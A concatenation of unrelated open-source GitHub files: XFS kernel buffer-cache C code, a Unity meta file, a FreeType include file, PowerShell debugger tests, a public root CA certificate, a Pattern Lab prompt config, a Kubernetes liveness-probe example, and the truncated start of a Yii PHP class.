xfs_warn(target->bt_mount, "%s: failed to map pages\n", __func__); goto fail_free_mem; } trace_xfs_buf_get_uncached(bp, _RET_IP_); return bp; fail_free_mem: while (--i >= 0) __free_page(bp->b_pages[i]); _xfs_buf_free_pages(bp); fail_free_buf: kmem_zone_free(xfs_buf_zone, bp); fail: return NULL; } /* * Increment reference count on buffer, to hold the buffer concurrently * with another thread which may release (free) the buffer asynchronously. * Must hold the buffer already to call this function. */ void xfs_buf_hold( xfs_buf_t *bp) { trace_xfs_buf_hold(bp, _RET_IP_); atomic_inc(&bp->b_hold); } /* * Releases a hold on the specified buffer. If the * the hold count is 1, calls xfs_buf_free. */ void xfs_buf_rele( xfs_buf_t *bp) { struct xfs_perag *pag = bp->b_pag; trace_xfs_buf_rele(bp, _RET_IP_); if (!pag) { ASSERT(list_empty(&bp->b_lru)); ASSERT(RB_EMPTY_NODE(&bp->b_rbnode)); if (atomic_dec_and_test(&bp->b_hold)) xfs_buf_free(bp); return; } ASSERT(!RB_EMPTY_NODE(&bp->b_rbnode)); ASSERT(atomic_read(&bp->b_hold) > 0); if (atomic_dec_and_lock(&bp->b_hold, &pag->pag_buf_lock)) { if (!(bp->b_flags & XBF_STALE) && atomic_read(&bp->b_lru_ref)) { xfs_buf_lru_add(bp); spin_unlock(&pag->pag_buf_lock); } else { xfs_buf_lru_del(bp); ASSERT(!(bp->b_flags & (XBF_DELWRI|_XBF_DELWRI_Q))); rb_erase(&bp->b_rbnode, &pag->pag_buf_tree); spin_unlock(&pag->pag_buf_lock); xfs_perag_put(pag); xfs_buf_free(bp); } } } /* * Lock a buffer object, if it is not already locked. * * If we come across a stale, pinned, locked buffer, we know that we are * being asked to lock a buffer that has been reallocated. Because it is * pinned, we know that the log has not been pushed to disk and hence it * will still be locked. Rather than continuing to have trylock attempts * fail until someone else pushes the log, push it ourselves before * returning. This means that the xfsaild will not get stuck trying * to push on stale inode buffers. */ int xfs_buf_trylock( struct xfs_buf *bp) { int locked; locked = down_trylock(&bp->b_sema) == 0; if (locked) XB_SET_OWNER(bp); else if (atomic_read(&bp->b_pin_count) && (bp->b_flags & XBF_STALE)) xfs_log_force(bp->b_target->bt_mount, 0); trace_xfs_buf_trylock(bp, _RET_IP_); return locked; } /* * Lock a buffer object. * * If we come across a stale, pinned, locked buffer, we know that we * are being asked to lock a buffer that has been reallocated. Because * it is pinned, we know that the log has not been pushed to disk and * hence it will still be locked. Rather than sleeping until someone * else pushes the log, push it ourselves before trying to get the lock. */ void xfs_buf_lock( struct xfs_buf *bp) { trace_xfs_buf_lock(bp, _RET_IP_); if (atomic_read(&bp->b_pin_count) && (bp->b_flags & XBF_STALE)) xfs_log_force(bp->b_target->bt_mount, 0); down(&bp->b_sema); XB_SET_OWNER(bp); trace_xfs_buf_lock_done(bp, _RET_IP_); } /* * Releases the lock on the buffer object. * If the buffer is marked delwri but is not queued, do so before we * unlock the buffer as we need to set flags correctly. We also need to * take a reference for the delwri queue because the unlocker is going to * drop their's and they don't know we just queued it. */ void xfs_buf_unlock( struct xfs_buf *bp) { XB_CLEAR_OWNER(bp); up(&bp->b_sema); trace_xfs_buf_unlock(bp, _RET_IP_); } STATIC void xfs_buf_wait_unpin( xfs_buf_t *bp) { DECLARE_WAITQUEUE (wait, current); if (atomic_read(&bp->b_pin_count) == 0) return; add_wait_queue(&bp->b_waiters, &wait); for (;;) { set_current_state(TASK_UNINTERRUPTIBLE); if (atomic_read(&bp->b_pin_count) == 0) break; io_schedule(); } remove_wait_queue(&bp->b_waiters, &wait); set_current_state(TASK_RUNNING); } /* * Buffer Utility Routines */ STATIC void xfs_buf_iodone_work( struct work_struct *work) { xfs_buf_t *bp = container_of(work, xfs_buf_t, b_iodone_work); if (bp->b_iodone) (*(bp->b_iodone))(bp); else if (bp->b_flags & XBF_ASYNC) xfs_buf_relse(bp); } void xfs_buf_ioend( xfs_buf_t *bp, int schedule) { trace_xfs_buf_iodone(bp, _RET_IP_); bp->b_flags &= ~(XBF_READ | XBF_WRITE | XBF_READ_AHEAD); if (bp->b_error == 0) bp->b_flags |= XBF_DONE; if ((bp->b_iodone) || (bp->b_flags & XBF_ASYNC)) { if (schedule) { INIT_WORK(&bp->b_iodone_work, xfs_buf_iodone_work); queue_work(xfslogd_workqueue, &bp->b_iodone_work); } else { xfs_buf_iodone_work(&bp->b_iodone_work); } } else { complete(&bp->b_iowait); } } void xfs_buf_ioerror( xfs_buf_t *bp, int error) { ASSERT(error >= 0 && error <= 0xffff); bp->b_error = (unsigned short)error; trace_xfs_buf_ioerror(bp, error, _RET_IP_); } void xfs_buf_ioerror_alert( struct xfs_buf *bp, const char *func) { xfs_alert(bp->b_target->bt_mount, "metadata I/O error: block 0x%llx (\"%s\") error %d buf count %zd", (__uint64_t)XFS_BUF_ADDR(bp), func, bp->b_error, XFS_BUF_COUNT(bp)); } int xfs_bwrite( struct xfs_buf *bp) { int error; bp->b_flags |= XBF_WRITE; bp->b_flags &= ~(XBF_ASYNC | XBF_READ); xfs_buf_delwri_dequeue(bp); xfs_bdstrat_cb(bp); error = xfs_buf_iowait(bp); if (error) { xfs_force_shutdown(bp->b_target->bt_mount, SHUTDOWN_META_IO_ERROR); } return error; } /* * Called when we want to stop a buffer from getting written or read. * We attach the EIO error, muck with its flags, and call xfs_buf_ioend * so that the proper iodone callbacks get called. */ STATIC int xfs_bioerror( xfs_buf_t *bp) { #ifdef XFSERRORDEBUG ASSERT(XFS_BUF_ISREAD(bp) || bp->b_iodone); #endif /* * No need to wait until the buffer is unpinned, we aren't flushing it. */ xfs_buf_ioerror(bp, EIO); /* * We're calling xfs_buf_ioend, so delete XBF_DONE flag. */ XFS_BUF_UNREAD(bp); XFS_BUF_UNDONE(bp); xfs_buf_stale(bp); xfs_buf_ioend(bp, 0); return EIO; } /* * Same as xfs_bioerror, except that we are releasing the buffer * here ourselves, and avoiding the xfs_buf_ioend call. * This is meant for userdata errors; metadata bufs come with * iodone functions attached, so that we can track down errors. */ STATIC int xfs_bioerror_relse( struct xfs_buf *bp) { int64_t fl = bp->b_flags; /* * No need to wait until the buffer is unpinned. * We aren't flushing it. * * chunkhold expects B_DONE to be set, whether * we actually finish the I/O or not. We don't want to * change that interface. */ XFS_BUF_UNREAD(bp); XFS_BUF_DONE(bp); xfs_buf_stale(bp); bp->b_iodone = NULL; if (!(fl & XBF_ASYNC)) { /* * Mark b_error and B_ERROR _both_. * Lot's of chunkcache code assumes that. * There's no reason to mark error for * ASYNC buffers. */ xfs_buf_ioerror(bp, EIO); complete(&bp->b_iowait); } else { xfs_buf_relse(bp); } return EIO; } /* * All xfs metadata buffers except log state machine buffers * get this attached as their b_bdstrat callback function. * This is so that we can catch a buffer * after prematurely unpinning it to forcibly shutdown the filesystem. */ int xfs_bdstrat_cb( struct xfs_buf *bp) { if (XFS_FORCED_SHUTDOWN(bp->b_target->bt_mount)) { trace_xfs_bdstrat_shut(bp, _RET_IP_); /* * Metadata write that didn't get logged but * written delayed anyway. These aren't associated * with a transaction, and can be ignored. */ if (!bp->b_iodone && !XFS_BUF_ISREAD(bp)) return xfs_bioerror_relse(bp); else return xfs_bioerror(bp); } xfs_buf_iorequest(bp); return 0; } /* * Wrapper around bdstrat so that we can stop data from going to disk in case * we are shutting down the filesystem. Typically user data goes thru this * path; one of the exceptions is the superblock. */ void xfsbdstrat( struct xfs_mount *mp, struct xfs_buf *bp) { if (XFS_FORCED_SHUTDOWN(mp)) { trace_xfs_bdstrat_shut(bp, _RET_IP_); xfs_bioerror_relse(bp); return; } xfs_buf_iorequest(bp); } STATIC void _xfs_buf_ioend( xfs_buf_t *bp, int schedule) { if (atomic_dec_and_test(&bp->b_io_remaining) == 1) xfs_buf_ioend(bp, schedule); } STATIC void xfs_buf_bio_end_io( struct bio *bio, int error) { xfs_buf_t *bp = (xfs_buf_t *)bio->bi_private; /* * don't overwrite existing errors - otherwise we can lose errors on * buffers that require multiple bios to complete. */ if (!bp->b_error) xfs_buf_ioerror(bp, -error); if (!bp->b_error && xfs_buf_is_vmapped(bp) && (bp->b_flags & XBF_READ)) invalidate_kernel_vmap_range(bp->b_addr, xfs_buf_vmap_len(bp)); _xfs_buf_ioend(bp, 1); bio_put(bio); } STATIC void _xfs_buf_ioapply( xfs_buf_t *bp) { int rw, map_i, total_nr_pages, nr_pages; struct bio *bio; int offset = bp->b_offset; int size = bp->b_count_desired; sector_t sector = bp->b_bn; total_nr_pages = bp->b_page_count; map_i = 0; if (bp->b_flags & XBF_WRITE) { if (bp->b_flags & XBF_SYNCIO) rw = WRITE_SYNC; else rw = WRITE; if (bp->b_flags & XBF_FUA) rw |= REQ_FUA; if (bp->b_flags & XBF_FLUSH) rw |= REQ_FLUSH; } else if (bp->b_flags & XBF_READ_AHEAD) { rw = READA; } else { rw = READ; } /* we only use the buffer cache for meta-data */ rw |= REQ_META; next_chunk: atomic_inc(&bp->b_io_remaining); nr_pages = BIO_MAX_SECTORS >> (PAGE_SHIFT - BBSHIFT); if (nr_pages > total_nr_pages) nr_pages = total_nr_pages; bio = bio_alloc(GFP_NOIO, nr_pages); bio->bi_bdev = bp->b_target->bt_bdev; bio->bi_sector = sector; bio->bi_end_io = xfs_buf_bio_end_io; bio->bi_private = bp; for (; size && nr_pages; nr_pages--, map_i++) { int rbytes, nbytes = PAGE_SIZE - offset; if (nbytes > size) nbytes = size; rbytes = bio_add_page(bio, bp->b_pages[map_i], nbytes, offset); if (rbytes < nbytes) break; offset = 0; sector += nbytes >> BBSHIFT; size -= nbytes; total_nr_pages--; } if (likely(bio->bi_size)) { if (xfs_buf_is_vmapped(bp)) { flush_kernel_vmap_range(bp->b_addr, xfs_buf_vmap_len(bp)); } submit_bio(rw, bio); if (size) goto next_chunk; } else { /* * This is guaranteed not to be the last io reference count * because the caller (xfs_buf_iorequest) holds a count itself. */ atomic_dec(&bp->b_io_remaining); xfs_buf_ioerror(bp, EIO); bio_put(bio); } } int xfs_buf_iorequest( xfs_buf_t *bp) { trace_xfs_buf_iorequest(bp, _RET_IP_); ASSERT(!(bp->b_flags & XBF_DELWRI)); if (bp->b_flags & XBF_WRITE) xfs_buf_wait_unpin(bp); xfs_buf_hold(bp); /* Set the count to 1 initially, this will stop an I/O * completion callout which happens before we have started * all the I/O from calling xfs_buf_ioend too early. */ atomic_set(&bp->b_io_remaining, 1); _xfs_buf_ioapply(bp); _xfs_buf_ioend(bp, 0); xfs_buf_rele(bp); return 0; } /* * Waits for I/O to complete on the buffer supplied. * It returns immediately if no I/O is pending. * It returns the I/O error code, if any, or 0 if there was no error. */ int xfs_buf_iowait( xfs_buf_t *bp) { trace_xfs_buf_iowait(bp, _RET_IP_); wait_for_completion(&bp->b_iowait); trace_xfs_buf_iowait_done(bp, _RET_IP_); return bp->b_error; } xfs_caddr_t xfs_buf_offset( xfs_buf_t *bp, size_t offset) { struct page *page; if (bp->b_flags & XBF_MAPPED) return bp->b_addr + offset; offset += bp->b_offset; page = bp->b_pages[offset >> PAGE_SHIFT]; return (xfs_caddr_t)page_address(page) + (offset & (PAGE_SIZE-1)); } /* * Move data into or out of a buffer. */ void xfs_buf_iomove( xfs_buf_t *bp, /* buffer to process */ size_t boff, /* starting buffer offset */ size_t bsize, /* length to copy */ void *data, /* data address */ xfs_buf_rw_t mode) /* read/write/zero flag */ { size_t bend, cpoff, csize; struct page *page; bend = boff + bsize; while (boff < bend) { page = bp->b_pages[xfs_buf_btoct(boff + bp->b_offset)]; cpoff = xfs_buf_poff(boff + bp->b_offset); csize = min_t(size_t, PAGE_SIZE-cpoff, bp->b_count_desired-boff); ASSERT(((csize + cpoff) <= PAGE_SIZE)); switch (mode) { case XBRW_ZERO: memset(page_address(page) + cpoff, 0, csize); break; case XBRW_READ: memcpy(data, page_address(page) + cpoff, csize); break; case XBRW_WRITE: memcpy(page_address(page) + cpoff, data, csize); } boff += csize; data += csize; } } /* * Handling of buffer targets (buftargs). */ /* * Wait for any bufs with callbacks that have been submitted but have not yet * returned. These buffers will have an elevated hold count, so wait on those * while freeing all the buffers only held by the LRU. */ void xfs_wait_buftarg( struct xfs_buftarg *btp) { struct xfs_buf *bp; restart: spin_lock(&btp->bt_lru_lock); while (!list_empty(&btp->bt_lru)) { bp = list_first_entry(&btp->bt_lru, struct xfs_buf, b_lru); if (atomic_read(&bp->b_hold) > 1) { spin_unlock(&btp->bt_lru_lock); delay(100); goto restart; } /* * clear the LRU reference count so the buffer doesn't get * ignored in xfs_buf_rele(). */ atomic_set(&bp->b_lru_ref, 0); spin_unlock(&btp->bt_lru_lock); xfs_buf_rele(bp); spin_lock(&btp->bt_lru_lock); } spin_unlock(&btp->bt_lru_lock); } int xfs_buftarg_shrink( struct shrinker *shrink, struct shrink_control *sc) { struct xfs_buftarg *btp = container_of(shrink, struct xfs_buftarg, bt_shrinker); struct xfs_buf *bp; int nr_to_scan = sc->nr_to_scan; LIST_HEAD(dispose); if (!nr_to_scan) return btp->bt_lru_nr; spin_lock(&btp->bt_lru_lock); while (!list_empty(&btp->bt_lru)) { if (nr_to_scan-- <= 0) break; bp = list_first_entry(&btp->bt_lru, struct xfs_buf, b_lru); /* * Decrement the b_lru_ref count unless the value is already * zero. If the value is already zero, we need to reclaim the * buffer, otherwise it gets another trip through the LRU. */ if (!atomic_add_unless(&bp->b_lru_ref, -1, 0)) { list_move_tail(&bp->b_lru, &btp->bt_lru); continue; } /* * remove the buffer from the LRU now to avoid needing another * lock round trip inside xfs_buf_rele(). */ list_move(&bp->b_lru, &dispose); btp->bt_lru_nr--; } spin_unlock(&btp->bt_lru_lock); while (!list_empty(&dispose)) { bp = list_first_entry(&dispose, struct xfs_buf, b_lru); list_del_init(&bp->b_lru); xfs_buf_rele(bp); } return btp->bt_lru_nr; } void xfs_free_buftarg( struct xfs_mount *mp, struct xfs_buftarg *btp) { unregister_shrinker(&btp->bt_shrinker); xfs_flush_buftarg(btp, 1); if (mp->m_flags & XFS_MOUNT_BARRIER) xfs_blkdev_issue_flush(btp); kthread_stop(btp->bt_task); kmem_free(btp); } STATIC int xfs_setsize_buftarg_flags( xfs_buftarg_t *btp, unsigned int blocksize, unsigned int sectorsize, int verbose) { btp->bt_bsize = blocksize; btp->bt_sshift = ffs(sectorsize) - 1; btp->bt_smask = sectorsize - 1; if (set_blocksize(btp->bt_bdev, sectorsize)) { char name[BDEVNAME_SIZE]; bdevname(btp->bt_bdev, name); xfs_warn(btp->bt_mount, "Cannot set_blocksize to %u on device %s\n", sectorsize, name); return EINVAL; } return 0; } /* * When allocating the initial buffer target we have not yet * read in the superblock, so don't know what sized sectors * are being used is at this early stage. Play safe. */ STATIC int xfs_setsize_buftarg_early( xfs_buftarg_t *btp, struct block_device *bdev) { return xfs_setsize_buftarg_flags(btp, PAGE_SIZE, bdev_logical_block_size(bdev), 0); } int xfs_setsize_buftarg( xfs_buftarg_t *btp, unsigned int blocksize, unsigned int sectorsize) { return xfs_setsize_buftarg_flags(btp, blocksize, sectorsize, 1); } STATIC int xfs_alloc_delwri_queue( xfs_buftarg_t *btp, const char *fsname) { INIT_LIST_HEAD(&btp->bt_delwri_queue); spin_lock_init(&btp->bt_delwri_lock); btp->bt_flags = 0; btp->bt_task = kthread_run(xfsbufd, btp, "xfsbufd/%s", fsname); if (IS_ERR(btp->bt_task)) return PTR_ERR(btp->bt_task); return 0; } xfs_buftarg_t * xfs_alloc_buftarg( struct xfs_mount *mp, struct block_device *bdev, int external, const char *fsname) { xfs_buftarg_t *btp; btp = kmem_zalloc(sizeof(*btp), KM_SLEEP); btp->bt_mount = mp; btp->bt_dev = bdev->bd_dev; btp->bt_bdev = bdev; btp->bt_bdi = blk_get_backing_dev_info(bdev); if (!btp->bt_bdi) goto error; INIT_LIST_HEAD(&btp->bt_lru); spin_lock_init(&btp->bt_lru_lock); if (xfs_setsize_buftarg_early(btp, bdev)) goto error; if (xfs_alloc_delwri_queue(btp, fsname)) goto error; btp->bt_shrinker.shrink = xfs_buftarg_shrink; btp->bt_shrinker.seeks = DEFAULT_SEEKS; register_shrinker(&btp->bt_shrinker); return btp; error: kmem_free(btp); return NULL; } /* * Delayed write buffer handling */ void xfs_buf_delwri_queue( xfs_buf_t *bp) { struct xfs_buftarg *btp = bp->b_target; trace_xfs_buf_delwri_queue(bp, _RET_IP_); ASSERT(!(bp->b_flags & XBF_READ)); spin_lock(&btp->bt_delwri_lock); if (!list_empty(&bp->b_list)) { /* if already in the queue, move it to the tail */ ASSERT(bp->b_flags & _XBF_DELWRI_Q); list_move_tail(&bp->b_list, &btp->bt_delwri_queue); } else { /* start xfsbufd as it is about to have something to do */ if (list_empty(&btp->bt_delwri_queue)) wake_up_process(bp->b_target->bt_task); atomic_inc(&bp->b_hold); bp->b_flags |= XBF_DELWRI | _XBF_DELWRI_Q | XBF_ASYNC; list_add_tail(&bp->b_list, &btp->bt_delwri_queue); } bp->b_queuetime = jiffies; spin_unlock(&btp->bt_delwri_lock); } void xfs_buf_delwri_dequeue( xfs_buf_t *bp) { int dequeued = 0; spin_lock(&bp->b_target->bt_delwri_lock); if ((bp->b_flags & XBF_DELWRI) && !list_empty(&bp->b_list)) { ASSERT(bp->b_flags & _XBF_DELWRI_Q); list_del_init(&bp->b_list); dequeued = 1; } bp->b_flags &= ~(XBF_DELWRI|_XBF_DELWRI_Q); spin_unlock(&bp->b_target->bt_delwri_lock); if (dequeued) xfs_buf_rele(bp); trace_xfs_buf_delwri_dequeue(bp, _RET_IP_); } /* * If a delwri buffer needs to be pushed before it has aged out, then promote * it to the head of the delwri queue so that it will be flushed on the next * xfsbufd run. We do this by resetting the queuetime of the buffer to be older * than the age currently needed to flush the buffer. Hence the next time the * xfsbufd sees it is guaranteed to be considered old enough to flush. */ void xfs_buf_delwri_promote( struct xfs_buf *bp) { struct xfs_buftarg *btp = bp->b_target; long age = xfs_buf_age_centisecs * msecs_to_jiffies(10) + 1; ASSERT(bp->b_flags & XBF_DELWRI); ASSERT(bp->b_flags & _XBF_DELWRI_Q); /* * Check the buffer age before locking the delayed write queue as we * don't need to promote buffers that are already past the flush age. */ if (bp->b_queuetime < jiffies - age) return; bp->b_queuetime = jiffies - age; spin_lock(&btp->bt_delwri_lock); list_move(&bp->b_list, &btp->bt_delwri_queue); spin_unlock(&btp->bt_delwri_lock); } /* * Move as many buffers as specified to the supplied list * idicating if we skipped any buffers to prevent deadlocks. */ STATIC int xfs_buf_delwri_split( xfs_buftarg_t *target, struct list_head *list, unsigned long age) { xfs_buf_t *bp, *n; int skipped = 0; int force; force = test_and_clear_bit(XBT_FORCE_FLUSH, &target->bt_flags); INIT_LIST_HEAD(list); spin_lock(&target->bt_delwri_lock); list_for_each_entry_safe(bp, n, &target->bt_delwri_queue, b_list) { ASSERT(bp->b_flags & XBF_DELWRI); if (!xfs_buf_ispinned(bp) && xfs_buf_trylock(bp)) { if (!force && time_before(jiffies, bp->b_queuetime + age)) { xfs_buf_unlock(bp); break; } bp->b_flags &= ~(XBF_DELWRI | _XBF_DELWRI_Q); bp->b_flags |= XBF_WRITE; list_move_tail(&bp->b_list, list); trace_xfs_buf_delwri_split(bp, _RET_IP_); } else skipped++; } spin_unlock(&target->bt_delwri_lock); return skipped; } /* * Compare function is more complex than it needs to be because * the return value is only 32 bits and we are doing comparisons * on 64 bit values */ static int xfs_buf_cmp( void *priv, struct list_head *a, struct list_head *b) { struct xfs_buf *ap = container_of(a, struct xfs_buf, b_list); struct xfs_buf *bp = container_of(b, struct xfs_buf, b_list); xfs_daddr_t diff; diff = ap->b_bn - bp->b_bn; if (diff < 0) return -1; if (diff > 0) return 1; return 0; } STATIC int xfsbufd( void *data) { xfs_buftarg_t *target = (xfs_buftarg_t *)data; current->flags |= PF_MEMALLOC; set_freezable(); do { long age = xfs_buf_age_centisecs * msecs_to_jiffies(10); long tout = xfs_buf_timer_centisecs * msecs_to_jiffies(10); struct list_head tmp; struct blk_plug plug; if (unlikely(freezing(current))) try_to_freeze(); /* sleep for a long time if there is nothing to do. */ if (list_empty(&target->bt_delwri_queue)) tout = MAX_SCHEDULE_TIMEOUT; schedule_timeout_interruptible(tout); xfs_buf_delwri_split(target, &tmp, age); list_sort(NULL, &tmp, xfs_buf_cmp); blk_start_plug(&plug); while (!list_empty(&tmp)) { struct xfs_buf *bp; bp = list_first_entry(&tmp, struct xfs_buf, b_list); list_del_init(&bp->b_list); xfs_bdstrat_cb(bp); } blk_finish_plug(&plug); } while (!kthread_should_stop()); return 0; } /* * Go through all incore buffers, and release buffers if they belong to * the given device. This is used in filesystem error handling to * preserve the consistency of its metadata. */ int xfs_flush_buftarg( xfs_buftarg_t *target, int wait) { xfs_buf_t *bp; int pincount = 0; LIST_HEAD(tmp_list); LIST_HEAD(wait_list); struct blk_plug plug; flush_workqueue(xfslogd_workqueue); set_bit(XBT_FORCE_FLUSH, &target->bt_flags); pincount = xfs_buf_delwri_split(target, &tmp_list, 0); /* * Dropped the delayed write list lock, now walk the temporary list. * All I/O is issued async and then if we need to wait for completion * we do that after issuing all the IO. */ list_sort(NULL, &tmp_list, xfs_buf_cmp); blk_start_plug(&plug); while (!list_empty(&tmp_list)) { bp = list_first_entry(&tmp_list, struct xfs_buf, b_list); ASSERT(target == bp->b_target); list_del_init(&bp->b_list); if (wait) { bp->b_flags &= ~XBF_ASYNC; list_add(&bp->b_list, &wait_list); } xfs_bdstrat_cb(bp); } blk_finish_plug(&plug); if (wait) { /* Wait for IO to complete. */ while (!list_empty(&wait_list)) { bp = list_first_entry(&wait_list, struct xfs_buf, b_list); list_del_init(&bp->b_list); xfs_buf_iowait(bp); xfs_buf_relse(bp); } } return pincount; } int __init xfs_buf_init(void) { xfs_buf_zone = kmem_zone_init_flags(sizeof(xfs_buf_t), "xfs_buf", KM_ZONE_HWALIGN, NULL); if (!xfs_buf_zone) goto out; xfslogd_workqueue = alloc_workqueue("xfslogd", WQ_MEM_RECLAIM | WQ_HIGHPRI, 1); if (!xfslogd_workqueue) goto out_free_buf_zone; return 0; out_free_buf_zone: kmem_zone_destroy(xfs_buf_zone); out: return -ENOMEM; } void xfs_buf_terminate(void) { destroy_workqueue(xfslogd_workqueue); kmem_zone_destroy(xfs_buf_zone); }
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 072e7b07ec7fb1346a9dcd3bcbbb7111 timeCreated: 1494092582 licenseType: Free ShaderImporter: defaultTextures: [] userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
/**************************************************************************** * * type1cid.c * * FreeType OpenType driver component (body only). * * Copyright (C) 1996-2019 by * David Turner, Robert Wilhelm, and Werner Lemberg. * * This file is part of the FreeType project, and may only be used, * modified, and distributed under the terms of the FreeType project * license, LICENSE.TXT. By continuing to use, modify, or distribute * this file you indicate that you have read the license and * understand and accept it fully. * */ #define FT_MAKE_OPTION_SINGLE_OBJECT #include <ft2build.h> #include "cidgload.c" #include "cidload.c" #include "cidobjs.c" #include "cidparse.c" #include "cidriver.c" /* END */
{ "pile_set_name": "Github" }
Describe "Kill" { pushd It "can kill a non-exited process" { try { New-TestApp -TestApp TestNativeConsoleApp -Attach -HiddenTargetWindow .kill 0 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Be ((Get-Location).Path) } catch { # This shouldn't be a problem if everything succeeded. If something blew up... # hopefully this will clean things up for subsequent tests. $debugger.EndSession( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_END]::PASSIVE ) throw } } It "can kill a process that has already exited" { try { New-TestApp -TestApp TestNativeConsoleApp -Attach -HiddenTargetWindow g .kill 0 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Be ((Get-Location).Path) } catch { # This shouldn't be a problem if everything succeeded. If something blew up... # hopefully this will clean things up for subsequent tests. $debugger.EndSession( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_END]::PASSIVE ) throw } } It "can .abandon, re-attach, and .detach" { try { New-TestApp -TestApp TestNativeConsoleApp -Attach -HiddenTargetWindow $osPid = $debugger.GetProcessSystemId() # Let's switch to thread 0 and step a bit, just for fun. ~0 s p p p $savedIp = $ip .abandon $process = Get-Process -Id $osPid 0 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Be ((Get-Location).Path) # TODO: I'm seeing lots of problems getting "access denied" when re-attaching. A bit of # delay seems to help the problem, but not always (does the delay need to be longer?). Start-Sleep -Milliseconds 4000 #Write-Host " Trying to reconnect to pid $($osPid)" -Back Blue -Fore White Connect-Process -Id $osPid -Reattach $savedIp | Should Be $ip 1 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Not Be ((Get-Location).Path) #Write-Host ' Detaching...' -Back Blue -Fore White .detach #Write-Host ' Waiting for exit...' -Back Blue -Fore White $itExited = $process.WaitForExit( 5000 ) $itExited | Should Be $true } catch { # This shouldn't be a problem if everything succeeded. If something blew up... # hopefully this will clean things up for subsequent tests. $debugger.EndSession( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_END]::PASSIVE ) throw } } popd }
{ "pile_set_name": "Github" }
-----BEGIN CERTIFICATE----- MIIEKzCCAxOgAwIBAgIEOsylTDANBgkqhkiG9w0BAQUFADBDMQswCQYDVQQGEwJE SzEVMBMGA1UEChMMVERDIEludGVybmV0MR0wGwYDVQQLExRUREMgSW50ZXJuZXQg Um9vdCBDQTAeFw0wMTA0MDUxNjMzMTdaFw0yMTA0MDUxNzAzMTdaMEMxCzAJBgNV BAYTAkRLMRUwEwYDVQQKEwxUREMgSW50ZXJuZXQxHTAbBgNVBAsTFFREQyBJbnRl cm5ldCBSb290IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxLhA vJHVYx/XmaCLDEAedLdInUaMArLgJF/wGROnN4NrXceO+YQwzho7+vvOi20jxsNu Zp+Jpd/gQlBn+h9sHvTQBda/ytZO5GhgbEaqHF1j4QeGDmUApy6mcca8uYGoOn0a 0vnRrEvLznWv3Hv6gXPU/Lq9QYjUdLP5Xjg6PEOo0pVOd20TDJ2PeAG3WiAfAzc1 4izbSysseLlJ28TQx5yc5IogCSEWVmb/Bexb4/DPqyQkXsN/cHoSxNK1EKC2IeGN eGlVRGn1ypYcNIUXJXfi9i8nmHj9eQY6otZaQ8H/7AQ77hPv01ha/5Lr7K7a8jcD R0G2l8ktCkEiu7vmpwIDAQABo4IBJTCCASEwEQYJYIZIAYb4QgEBBAQDAgAHMGUG A1UdHwReMFwwWqBYoFakVDBSMQswCQYDVQQGEwJESzEVMBMGA1UEChMMVERDIElu dGVybmV0MR0wGwYDVQQLExRUREMgSW50ZXJuZXQgUm9vdCBDQTENMAsGA1UEAxME Q1JMMTArBgNVHRAEJDAigA8yMDAxMDQwNTE2MzMxN1qBDzIwMjEwNDA1MTcwMzE3 WjALBgNVHQ8EBAMCAQYwHwYDVR0jBBgwFoAUbGQBx/2FbazI2p5QCIUItTxWqFAw HQYDVR0OBBYEFGxkAcf9hW2syNqeUAiFCLU8VqhQMAwGA1UdEwQFMAMBAf8wHQYJ KoZIhvZ9B0EABBAwDhsIVjUuMDo0LjADAgSQMA0GCSqGSIb3DQEBBQUAA4IBAQBO Q8zR3R0QGwZ/t6T609lN+yOfI1Rb5osvBCiLtSdtiaHsmGnc540mgwV5dOy0uaOX wTUA/RXaOYE6lTGQ3pfphqiZdwzlWqCE/xIWrG64jcN7ksKsLtB9KOy282A4aW8+ 2ARVPp7MVdK6/rtHBNcK2RYKNCn1WBPVT8+PVkuzHu7TmHnaCB4Mb7j4Fifvwm89 9qNLPg7kbWzbO0ESm70NRyN/PErQr8Cv9u8btRXE64PECV90i9kR+8JWsTz4cMo0 jUNAE4z9mQNUecYu6oah9jrUCbz0vGbMPVjQV0kK7iXiQe4T+Zs4NNEA9X7nlB38 aQNiuJkFBT1reBK9sG9l -----END CERTIFICATE-----
{ "pile_set_name": "Github" }
'use strict'; const inquirer = require('inquirer'); /** editionSetup {Array} - Inquirer question logic for first question regarding editions */ const editionSetup = [ { type: 'input', name: 'project_root', message: 'Please specify a directory for your Pattern Lab project.', default: () => './', }, { type: 'list', name: 'edition', message: 'What templating language do you want to use with Pattern Lab?', choices: [ { name: 'Handlebars', value: '@pattern-lab/edition-node', }, { name: 'Twig (PHP)', value: '@pattern-lab/edition-twig', }, new inquirer.Separator(), { name: 'None', value: false, }, ], default: function() { return { name: 'Handlebars', value: '@pattern-lab/edition-node', }; }, }, ]; module.exports = editionSetup;
{ "pile_set_name": "Github" }
apiVersion: v1 kind: Pod metadata: labels: test: liveness name: liveness-exec spec: containers: - name: liveness image: k8s.gcr.io/busybox args: - /bin/sh - -c - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600 livenessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5
{ "pile_set_name": "Github" }
<?php /** * @link http://www.yiiframework.com/ * @copyright Copyright (c) 2008 Yii Software LLC * @license http://www.yiiframework.com/license/ */ namespace yii\base; use yii\validators\Validator; /** * DynamicModel is a model class primarily used to support ad hoc data validation. * * The typical usage of DynamicModel is as follows, * * ```php * public function actionSearch($name, $email) * { * $model = DynamicModel::validateData(compact('name', 'email'), [ * [['name', 'email'], 'string', 'max' => 128], * ['email', 'email'], * ]); * if ($model->hasErrors()) { * // validation fails * } else { * // validation succeeds * } * } * ``` * * The above example shows how to validate `$name` and `$email` with the help of DynamicModel. * The [[validateData()]] method creates an instance of DynamicModel, defines the attributes * using the given data (`name` and `email` in this example), and then calls [[Model::validate()]]. * * You can check the validation result by [[hasErrors()]], like you do with a normal model. * You may also access the dynamic attributes defined through the model instance, e.g., * `$model->name` and `$model->email`. * * Alternatively, you may use the following more "classic" syntax to perform ad-hoc data validation: * * ```php * $model = new DynamicModel(compact('name', 'email')); * $model->addRule(['name', 